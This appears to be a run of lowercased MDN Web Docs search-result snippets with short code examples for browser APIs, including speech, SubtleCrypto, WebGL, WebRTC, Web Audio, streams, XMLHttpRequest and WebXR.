...c); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); } function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); } specifications specification status comment media source extensionsthe definition of 'sourcebuffer' in that specification.
SpeechGrammar.SpeechGrammar() - Web APIs
the speechgrammar constructor of the speechgrammar interface creates a new speechgrammar object instance.
... syntax var myspeechgrammar = new speechgrammar(); parameters none.
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var newgrammar = new speechgrammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecognitionlist[1] = newgrammar; // should add the new speechgrammar object to the list specificat...
SpeechRecognition() - Web APIs
the speechrecognition() constructor creates a new speechrecognition object instance.
... syntax var myrecognition = new speechrecognition(); parameters none.
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition - Web APIs
constructor speechrecognition.speechrecognition() creates a new speechrecognition object.
... examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); docume...
SpeechSynthesis - Web APIs
examples first, a simple example: let utterance = new speechsynthesisutterance("hello world!"); speechsynthesis.speak(utterance); now we'll look at a more fully-fledged example.
... inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
...ontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); inputtxt.blur(); } specifications specifica...
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
the speechsynthesisutterance() constructor of the speechsynthesisutterance interface returns a new speechsynthesisutterance object instance.
... syntax var utterthis = new speechsynthesisutterance(text); parameters text a domstring containing the text that will be synthesized when the utterance is spoken..
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'spee...
SpeechSynthesisUtterance - Web APIs
language, pitch and volume.) constructor speechsynthesisutterance.speechsynthesisutterance() returns a new speechsynthesisutterance object instance.
... inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), use the constructor to create a new utterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
...r inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.value = i; voiceselect.appendchild(option); } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); utterthis.voice = voices[voiceselect.value]; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance' in that specification.
StaticRange.StaticRange() - Web APIs
the staticrange() constructor creates a new staticrange object representing a span of content within the dom.
... syntax var staticrange = new staticrange(rangespec) parameters rangespec the required rangespec parameter is an object adhering to the staticrangeinit dictionary.
... return value a new staticrange object initialized with the values given in the rangespec object.
SubtleCrypto.deriveBits() - Web APIs
async function derivesharedsecret(privatekey, publickey) { const sharedsecret = await window.crypto.subtle.derivebits( { name: "ecdh", namedcurve: "p-384", public: publickey }, privatekey, 128 ); const buffer = new uint8array(sharedsecret, 0, 5); const sharedsecretvalue = document.queryselector(".ecdh .derived-bits-value"); sharedsecretvalue.classlist.add("fade-in"); sharedsecretvalue.addeventlistener("animationend", () => { sharedsecretvalue.classlist.remove("fade-in"); }); sharedsecretvalue.textcontent = `${buffer}...[${sharedsecret.bytelength} bytes total]`; } // generate 2 ecdh key pairs:...
...*/ function getkeymaterial() { const password = window.prompt("enter your password"); const enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* derive some bits from a password supplied by the user.
... */ async function getderivedbits() { const keymaterial = await getkeymaterial(); salt = window.crypto.getrandomvalues(new uint8array(16)); const derivedbits = await window.crypto.subtle.derivebits( { "name": "pbkdf2", salt: salt, "iterations": 100000, "hash": "sha-256" }, keymaterial, 256 ); const buffer = new uint8array(derivedbits, 0, 5); const derivedbitsvalue = document.queryselector(".pbkdf2 .derived-bits-value"); derivedbitsvalue.classlist.add("fade-in"); derivedbitsvalue.addeventlistener("animationend", () => { derivedbitsvalue.classlist.remove("fade-in"); }); derivedbitsvalue.textcontent = `${buffer}...[${derivedbits.bytelength} bytes total]`; } const derivebitsbutton = document.queryselector(".pbkdf2 .derive-bits-butt...
SubtleCrypto.deriveKey() - Web APIs
it returns a promise which will be fulfilled with a cryptokey object representing the new key.
... derivekey: the key may be used in deriving a new key.
...*/ function getkeymaterial() { let password = window.prompt("enter your password"); let enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), "pbkdf2", false, ["derivebits", "derivekey"] ); } async function encrypt(plaintext, salt, iv) { let keymaterial = await getkeymaterial(); let key = await window.crypto.subtle.derivekey( { "name": "pbkdf2", salt: salt, "iterations": 100000, "hash": "sha-256" ...
TextDecoder - Web APIs
let utf8decoder = new textdecoder(); // default 'utf-8' or 'utf8' let u8arr = new uint8array([240, 160, 174, 183]); let i8arr = new int8array([-16, -96, -82, -73]); let u16arr = new uint16array([41200, 47022]); let i16arr = new int16array([-24336, -18514]); let i32arr = new int32array([-1213292304]); console.log(utf8decoder.decode(u8arr)); console.log(utf8decoder.decode(i8arr)); console.log(utf8decoder.decode(u16arr...
... let win1251decoder = new textdecoder('windows-1251'); let bytes = new uint8array([207, 240, 232, 226, 229, 242, 44, 32, 236, 232, 240, 33]); console.log(win1251decoder.decode(bytes)); // Привет, мир!
... constructor textdecoder() returns a newly constructed textdecoder that will generate a code point stream with the decoding method specified in parameters.
TextTrackList - Web APIs
event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new text track has been added to the media element.
... events addtrack fired when a new text track has been added to the media element.
... removetrack fired when a new text track has been removed from the media element.
Using Touch Events - Web APIs
some new features regarding a touch point's touch area - the area of contact between the user and the touch surface - are in the process of being standardized.
... the new features include the x and y radius of the ellipse that most closely circumscribes a touch point's contact area with the touch surface.
... the introduction of new input mechanisms results in increased application complexity to handle various input events, such as key events, mouse events, pen/stylus events, and touch events.
URLSearchParams() - Web APIs
the urlsearchparams() constructor creates and returns a new urlsearchparams object.
... syntax var urlsearchparams = new urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-urlencoded format.
... // retrieve params via url.search, passed into ctor var url = new url('https://example.com?foo=1&bar=2'); var params = new urlsearchparams(url.search); // pass in a string literal var params2 = new urlsearchparams("foo=1&bar=2"); var params2a = new urlsearchparams("?foo=1&bar=2"); // pass in a sequence of pairs var params3 = new urlsearchparams([["foo", "1"], ["bar", "2"]]); // pass in a record var params4 = new urlsearchparams({"foo": "1", "bar": "2"}); specifications specification st...
URLSearchParams.set() - Web APIs
examples let's start with a simple example: let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a third parameter.
... line #44: tries to automatically open a new window/tab with the generated url (when uncommented).
... 'use strict' function genurl(rexp, atext, bdebug=false){ let theurl theurl= new url('https://regexr.com') theurl.searchparams.set( 'expression', rexp.tostring() ) theurl.searchparams.set( 'tool', 'replace' ) theurl.searchparams.set( 'input', '\u2911\u20dc' )// ⤑⃜ theurl.searchparams.set( 'text', atext.join('\n') ) if( bdebug ){ // display the key/value pairs for(var pair of theurl.searchparams.entries()) { console.debug(pair[0] + ' = \'' + pair[1] + '\''); } console.debug(theurl) } return theurl } var url = genurl( /(^\s*\/\/|\s*[^:]\/\/).*\s*$|\s*\/\*(.|\n)+?\*\/\s*$/gm // single/multi-line comments // /(^\s*\/\/.*|\s*[^:]\/\/.*)/g // single-line comments ,[ "these should work:", "", "// eslint-disable-next-line no-unused-vars", "lockpref( 'keyw...
VideoTrackList - Web APIs
event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new video track has been added to the media element.
... events addtrack fired when a new video track has been added to the media element.
... removetrack fired when a new video track has been removed from the media element.
WEBGL_draw_buffers - Web APIs
in webgl 2, the constants are available without the "webgl" suffix and the new glsl built-ins require glsl #version 300 es.
... constants this extension exposes new constants, which can be used in the gl.framebufferrenderbuffer(), gl.framebuffertexture2d(), gl.getframebufferattachmentparameter() ext.drawbufferswebgl(), and gl.getparameter() methods.
... methods this extension exposes one new method.
WaveShaperNode.WaveShaperNode() - Web APIs
the waveshapernode() constructor of the web audio api creates a new waveshapernode object which is an audionode that represents a non-linear distorter.
... syntax var waveshapernode = new waveshapernode(context, options) parameters inherits parameters from the audionodeoptions dictionary.
... return value a new waveshapernode object instance.
WaveShaperNode.curve - Web APIs
syntax var audioctx = new audiocontext(); var distortion = audioctx.createwaveshaper(); distortion.curve = mycurvedataarray; // mycurvedataarray is a float32array value a float32array.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ...
...amount : 50, n_samples = 44100, curve = new float32array(n_samples), deg = math.pi / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( math.pi + k * math.abs(x) ); } return curve; }; ...
WaveShaperNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor waveshapernode() creates a new instance of an waveshapernode object.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ...
...amount : 50, n_samples = 44100, curve = new float32array(n_samples), deg = math.pi / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( math.pi + k * math.abs(x) ); } return curve; }; ...
WebGLRenderingContext.makeXRCompatible() - Web APIs
usage notes because makexrcompatible() may involve replacing the underlying webgl context with a new one that uses the new rendering hardware, the existing contents of the context may be lost and, therefore, would need to be re-rendered.
... this is why the webglcontextlost and webglcontextrestored events are used: the first gives you the opportunity to discard anything you won't need anymore, while the second gives you the opportunity to load resources and prepare to render the scene in its new context.
...if the button clicked by the user has that class (and we've confirmed that webxr is available by ensuring that the navigator.xr property exists), we use requestsession() to request a new webxr session and set the usingxr flag to true.
Scissor animation - Web APIs
in contrast, the color of the square (set with clearcolor) is only updated when a new square is created.
...the clear color state of webgl remains at the set value, until we change it again when a new square is created.
... position[1] -= velocity; // when the sqaure hits the bottom of the drawing buffer, // we override it with new square of different color and // velocity.
Adding 2D content to a WebGL context - Web APIs
e if it compiled successfully if (!gl.getshaderparameter(shader, gl.compile_status)) { alert('an error occurred compiling the shaders: ' + gl.getshaderinfolog(shader)); gl.deleteshader(shader); return null; } return shader; } the loadshader() function takes as input the webgl context, the shader type, and the source code, then creates and compiles the shader as follows: a new shader is created by calling gl.createshader().
... gl.bufferdata(gl.array_buffer, new float32array(positions), gl.static_draw); return { position: positionbuffer, }; } this routine is pretty simplistic given the basic nature of the scene in this example.
... view the complete code | open this demo on a new page matrix utility operations matrix operations might seem complicated but they are actually pretty simple if you take them one step at a time.
Lighting in WebGL - Web APIs
1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, // bottom 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, // right 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, // left -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0 ]; gl.bufferdata(gl.array_buffer, new float32array(vertexnormals), gl.static_draw); ...
... return { position: positionbuffer, normal: normalbuffer, texturecoord: texturecoordbuffer, indices: indexbuffer, }; this should look pretty familiar by now; we create a new buffer, bind it to be the buffer we're working with, then send along our array of vertex normals into the buffer by calling bufferdata().
... view the complete code | open this demo on a new page exercises for the reader obviously, this is a simple example, implementing basic per-vertex lighting.
Using shaders to apply color in WebGL - Web APIs
const colors = [ 1.0, 1.0, 1.0, 1.0, // white 1.0, 0.0, 0.0, 1.0, // red 0.0, 1.0, 0.0, 1.0, // green 0.0, 0.0, 1.0, 1.0, // blue ]; const colorbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, colorbuffer); gl.bufferdata(gl.array_buffer, new float32array(colors), gl.static_draw); return { position: positionbuffer, color: colorbuffer, }; } this code starts by creating a javascript array containing four 4-value vectors, one for each vertex color.
... then a new webgl buffer is allocated to store these colors, and the array is converted into floats and stored into the buffer.
...se; const stride = 0; const offset = 0; gl.bindbuffer(gl.array_buffer, buffers.color); gl.vertexattribpointer( programinfo.attriblocations.vertexcolor, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexcolor); } view the complete code | open this demo on a new page « previousnext » ...
Using textures in WebGL - Web APIs
const level = 0; const internalformat = gl.rgba; const width = 1; const height = 1; const border = 0; const srcformat = gl.rgba; const srctype = gl.unsigned_byte; const pixel = new uint8array([0, 0, 255, 255]); // opaque blue gl.teximage2d(gl.texture_2d, level, internalformat, width, height, border, srcformat, srctype, pixel); const image = new image(); image.onload = function() { gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, level, internalformat, srcformat, srctype, image); // we...
... // back 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // top 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // bottom 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // right 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, // left 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, ]; gl.bufferdata(gl.array_buffer, new float32array(texturecoordinates), gl.static_draw); ...
... view the complete code | open this demo on a new page cross-domain textures loading of webgl textures is subject to cross-domain access controls.
WebRTC connectivity - Web APIs
regardless of whether it's a new call, or reconfiguring an existing one, these are the basic steps which must occur to exchange the offer and answer, leaving out the ice layer for the moment: the caller captures local media via navigator.mediadevices.getusermedia() the caller creates rtcpeerconnection and called rtcpeerconnection.addtrack() (since addstream is deprecating) the caller calls rtcpeerconnection.createoffer() t...
...because during renegotiation, an offer might be rejected because it proposes an incompatible format, it's necessary that each endpoint have the ability to propose a new format but not actually switch to it until it's accepted by the other peer.
...each time it does so and shares that information with the controlled agent, the two peers reconfigure their connection to use the new configuration described by the new candidate pair.
Using WebRTC data channels - Web APIs
write your own code to negotiate the data transport and write your own code to signal to the other peer that it needs to connect to the new channel.
... let datachannel = pc.createdatachannel("myapp channel"); datachannel.addeventlistener("open", (event) => { begintransmission(datachannel); }); manual negotiation to manually negotiate the data channel connection, you need to first create a new rtcdatachannel object using the createdatachannel() method on the rtcpeerconnection, specifying in the options a negotiated property set to true.
... in order to resolve this issue, a new system of stream schedulers (usually referred to as the "sctp ndata specification") has been designed to make it possible to interleave messages sent on different streams, including streams used to implement webrtc data channels.
Writing a WebSocket server in Java - Web APIs
putstream; import java.net.serversocket; import java.net.socket; import java.security.messagedigest; import java.security.nosuchalgorithmexception; import java.util.base64; import java.util.scanner; import java.util.regex.matcher; import java.util.regex.pattern; public class websocket { public static void main(string[] args) throws ioexception, nosuchalgorithmexception { serversocket server = new serversocket(80); try { system.out.println("server has started on 127.0.0.1:80.\r\nwaiting for a connection..."); socket client = server.accept(); system.out.println("a client connected."); socket methods: java.net.socket getinputstream() returns an input stream for this socket.
... inputstream in = client.getinputstream(); outputstream out = client.getoutputstream(); scanner s = new scanner(in, "utf-8"); handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request.
... decoding algorithm decoded byte = encoded byte xor (position of encoded byte bitwise and 0x3)th byte of key example in java: byte[] decoded = new byte[6]; byte[] encoded = new byte[] { (byte) 198, (byte) 131, (byte) 130, (byte) 182, (byte) 194, (byte) 135 }; byte[] key = new byte[] { (byte) 167, (byte) 225, (byte) 225, (byte) 210 }; for (int i = 0; i < encoded.length; i++) { decoded[i] = (byte) (encoded[i] ^ key[i & 0x3]); } } } finally { s.close(); } } finally { server.close(); } } } relate...
Basic concepts behind Web Audio API - Web APIs
here's a couple of simple examples: var context = new audiocontext(); var buffer = context.createbuffer(2, 22050, 44100); note: in digital audio, 44,100 hz (alternately represented as 44.1 khz) is a common sampling frequency.
... var context = new audiocontext(); var buffer = context.createbuffer(1, 22050, 22050); if you use this call, you will get a mono buffer with just one channel), that when played back on an audiocontext running at 44100hz, will be automatically resampled to 44100hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames/44100hz = 1 second.
... the specification explicitly allows the future definition of new speaker layouts.
Using IIR filters - Web APIs
using an iirfilter in an audio graph let's create our context and our filter node: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = audioctx.createiirfilter(feedforward, feedback); we need a sound source to play.
... // arrays for our frequency response const totalarrayitems = 30; let myfrequencyarray = new float32array(totalarrayitems); let magresponseoutput = new float32array(totalarrayitems); let phaseresponseoutput = new float32array(totalarrayitems); let's fill our first array with frequency values we want data to be returned on: myfrequencyarray = myfrequencyarray.map(function(item, index) { return math.pow(1.4, index); }); we could go for a linear approach, but it's far better when w...
... = canvasel.getcontext('2d'); const width = canvascontainer.offsetwidth; const height = canvascontainer.offsetheight; canvasel.width = width; canvasel.height = height; // set background fill canvasctx.fillstyle = 'white'; canvasctx.fillrect(0, 0, width, height); // set up some spacing based on size const spacing = width/16; const fontsize = math.floor(spacing/1.5); // draw our axis canvasctx.linewidth = 2; canvasctx.strokestyle = 'grey'; canvasctx.beginpath(); canvasctx.moveto(spacing, spacing); canvasctx.lineto(spacing, height-spacing); canvasctx.lineto(width-spacing, height-spacing); canvasctx.stroke(); // axis is gain by frequency -> make labels canvasctx.font = fontsize+'px sans-serif'; canvasctx.fillstyle = 'grey'; canvasctx.filltext('1', spacing-fontsize, spacing+fontsize); canvasc...
Using the Web Audio API - Web APIs
// for legacy browsers const audiocontext = window.audiocontext || window.webkitaudiocontext; const audiocontext = new audiocontext(); so what's going on when we do this?
...new gainnode()).
...when we do it this way, we have to pass in the context and any options that that particular node may take: const panneroptions = { pan: 0 }; const panner = new stereopannernode(audiocontext, panneroptions); note: the constructor method of creating nodes is not supported by all browsers at this time.
Web audio spatialization basics - Web APIs
let's create our context and listener and set the listener's position to emulate a person looking into our room: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const listener = audioctx.listener; const posx = window.innerwidth/2; const posy = window.innerheight/2; const posz = 300; listener.positionx.value = posx; listener.positiony.value = posy; listener.positionz.value = posz-5; we could move the listener left or right using positionx, up or down using positiony, or in or out of the room using positionz.
... let's use the relevant constructor for creating our panner node and pass in all those parameters we set above: const panner = new pannernode(audioctx, { panningmodel: pannermodel, distancemodel: distancemodel, positionx: positionx, positiony: positiony, positionz: positionz, orientationx: orientationx, orientationy: orientationy, orientationz: orientationz, refdistance: refdistance, maxdistance: maxdistance, rollofffactor: rolloff, coneinnerangle: innercone, coneouterangle...
... let's set up a rotation rate, which we'll convert into a radian range value for use in math.sin and math.cos later, when we want to figure out the new coordinates when we're rotating our boombox: // set up rotation constants const rotationrate = 60; // bigger number equals slower sound rotation const q = math.pi/rotationrate; //rotation increment in radians we can also use this to work out degrees rotated, which will help with the css transforms we will have to create (note we need both an x and y-axis for the css transforms): // get degre...
Using the Web Storage API - Web APIs
setting values in storage storage.setitem() is used both to create new data items, and (if the data item already exists) update existing values.
... on the events page (see events.js) the only javascript is as follows: window.addeventlistener('storage', function(e) { document.queryselector('.my-key').textcontent = e.key; document.queryselector('.my-old').textcontent = e.oldvalue; document.queryselector('.my-new').textcontent = e.newvalue; document.queryselector('.my-url').textcontent = e.url; document.queryselector('.my-storage').textcontent = json.stringify(e.storagearea); }); here we add an event listener to the window object that fires when the storage object associated with the current origin is changed.
... as you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the url of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content).
Window - Web APIs
WebAPIWindow
window.customelements read only returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about previously registered custom elements.
... window.open() opens a new window.
... window.opendialog() opens a new dialog window.
Worker.prototype.postMessage() - Web APIs
var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, see ourbasic dedicated worker example (run dedicated worker).
... main thread code: var myworker = new chromeworker(self.path + 'myworker.js'); function handlemessagefromworker(msg) { console.log('incoming message from worker, msg:', msg); switch (msg.data.atopic) { case 'do_sendmainarrbuff': sendmainarrbuff(msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } myworker.addeventlistener('message', handlemessagefromworker); // ok let...
...s create the buffer and send it var arrbuf = new arraybuffer(8); console.info('arrbuf.bytelength pre transfer:', arrbuf.bytelength); myworker.postmessage( { atopic: 'do_sendworkerarrbuff', abuf: arrbuf // the array buffer that we passed to the transferrable section 3 lines below }, [ arrbuf // the array buffer we created 9 lines above ] ); console.info('arrbuf.bytelength post transfer:', arrbuf.bytelength); worker code self.onmessage = function (msg) { switch (msg.data.atopic) { case 'do_sendworkerarrbuff': sendworkerarrbuff(msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } function sendworkerarrbuff(abuf) { console.info('from worker, pre se...
WritableStreamDefaultWriter.close() - Web APIs
it then calls a function called sendmessage(), passing the newly created stream and a string.
... const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that a...
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decod...
WritableStreamDefaultWriter.write() - Web APIs
it then calls a function called sendmessage(), passing the newly created stream and a string.
... const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that a...
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decod...
XMLHttpRequest.send() - Web APIs
example: get var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); xhr.onload = function () { // request finished.
...}; xhr.send(null); // xhr.send('string'); // xhr.send(new blob()); // xhr.send(new int8array()); // xhr.send(document); example: post var xhr = new xmlhttprequest(); xhr.open("post", '/server', true); //send the proper header information along with the request xhr.setrequestheader("content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { // call a function when the state changes.
... } } xhr.send("foo=bar&lorem=ipsum"); // xhr.send(new int8array()); // xhr.send(document); specifications specification status comment xmlhttprequestthe definition of 'send()' in that specification.
XRReferenceSpaceEventInit.referenceSpace - Web APIs
the xrreferencespaceeventinit property referencespace is used to establish the value of a newly-constructed xrreferencespaceevent object when calling the xrreferencespaceevent() constructor.
... examples this simple snippet calls the constructor to create a new reference space event of type reset.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.referencespace' in that specification.
XRReferenceSpaceEventInit - Web APIs
transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by this event) to the new coordiante system.
... examples this simple snippet calls the constructor to create a new reference space event of type reset.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit' in that specification.
XRRigidTransform.position - Web APIs
example to create a reference space which can be used to place an object at eye level (assuming eye level is 1.5 meters): function onsessionstarted(xrsession) { xrsession.addeventlistener("end", onsessionended); gl = initgraphics(xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (immersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated); }); } else { session.requestreferencespace("viewer").then(refspacecreated); ...
... } } function refspacecreated(refspace) { if (immersivesession) { xrreferencespace = refspace; } else { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -1.5}); ); } xrsession.requestanimationframe(onframe); } after setting up the graphics context for webxr use, this begins by looking to see if a variable immersivesession is true; if so, we first request a bounded-floor reference space.
...that new reference space is used instead of the one initially received.
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
this information can be used when creating a new xrwebgllayer to configure the xrwebgllayerinit property framebufferscalefactor in the options specified when calling the xrwebgllayer() constructor.
... examples in this example, we request a frame buffer at the device's native resolution, regardless of any performance concerns: function requestnativescalewebgllayer(gl, xrsession) { return gl.makexrcompatible().then(() => { let scalefactor = xrwebgllayer.getnativeframebufferscalefactor(xrsession); let gllayer = new xrwebgllayer(xrsession, gl, { framebufferscalefactor: scalefactor }); xrsession.updaterenderstate({ baselayer: gllayer }); }); }; this starts by calling the webgl rendering context function makexrcompatible().
... that gets us a new xrwebgllayer object representing a rendering surface we can use for the xrsession; we set it as the rendering surface for xrsession by calling its updaterenderstate() method, passing the new gllayer in using the xrrenderstate dictionary's xrrenderstate.baselayer property.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
syntax let layerinit = { ignoredepthvalues: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { ignoredepthvalues: boolvalue }); value a boolean value which can be set to true to disable the use of the depth buffer by the webgl rendering layer created by the xrwebgllayer() constructor.
... example in this example, a new xrwebgllayer is created for a webxr session, xrsession.
